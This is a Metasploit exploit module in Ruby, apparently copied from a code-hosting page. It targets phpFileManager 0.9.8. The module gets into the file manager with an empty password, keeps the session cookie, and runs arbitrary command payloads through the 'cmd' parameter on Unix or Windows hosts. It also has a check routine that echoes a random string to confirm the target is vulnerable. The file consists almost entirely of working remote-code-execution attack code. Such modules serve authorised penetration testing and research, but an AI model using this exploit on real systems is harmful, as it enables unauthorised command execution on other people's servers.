114 lines
2.9 KiB
Ruby
114 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'phpFileManager 0.9.8 Remote Code Execution',
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'Description' => %q{
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This module exploits a remote code execution vulnerability in phpFileManager
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0.9.8 which is a filesystem management tool on a single file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hyp3rlinx', # initial discovery
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'Jay Turla' # msf
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],
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'References' =>
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[
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[ 'EDB', '37709' ],
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[ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 2000,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Platform' => %w{ unix win },
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['phpFileManager / Unix', { 'Platform' => 'unix' } ],
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['phpFileManager / Windows', { 'Platform' => 'win' } ]
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],
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'DisclosureDate' => 'Aug 28 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']),
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])
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end
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def check
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txt = Rex::Text.rand_text_alpha(8)
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res = http_send_command("echo #{txt}")
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if res && res.body =~ /#{txt}/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def push
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uri = normalize_uri(target_uri.path)
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# To push the Enter button
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_post' => {
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'frame' => '3',
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'pass' => '' # yep this should be empty
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}
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})
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if res.nil?
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vprint_error("Connection timed out")
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fail_with(Failure::Unknown, "Failed to trigger the Enter button")
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end
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if res && res.headers && res.code == 302
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print_good("Logged in to the file manager")
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cookie = res.get_cookies
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cookie
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else
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fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
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end
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end
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def http_send_command(cmd)
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cookie = push
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path),
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'cookie' => cookie,
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'vars_get' => {
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'action' => '6',
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'cmd' => cmd
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}
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})
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unless res && res.code == 200
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fail_with(Failure::Unknown, "Failed to execute the command.")
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end
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res
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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